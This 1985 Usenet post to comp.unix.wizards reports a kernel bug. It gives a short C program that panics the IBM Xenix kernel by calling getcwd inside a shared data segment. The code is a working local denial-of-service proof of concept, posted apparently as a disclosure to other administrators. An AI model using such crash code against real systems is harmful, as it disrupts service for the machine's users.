Xenix panic (easy to do)

Robin Cutshaw robin at medstar.UUCP
Thu Jul 11 06:23:41 AEST 1985


Here is a quick way to panic the IBM Xenix kernel (both original and updated).
This works for both the small and medium models. (use cc shr.c -o shr -lx).

---------------CUT HERE-----------------------
#include <stdio.h>
#include <sd.h>
#include <errno.h>

main()
{
char *share, pnbuf[128];
extern int errno;
extern char *getcwd();

if ( (share = sdget("/tmp/shx", SD_CREAT|SD_WRITE,12L,0777)) == (char *)-1) {
	fprintf(stderr,"Share = %d %d\n",errno,share);
	exit(share);
}

sdenter(share, SD_WRITE);
(void )getcwd(pnbuf,100);	/* THIS IS THE KILLER LINE */
sdleave(share);

sdfree(share);

}


-- 
----
Robin Cutshaw
uucp:   ...!{akgua,gatech}!medstar!robin



More information about the Comp.unix.wizards mailing list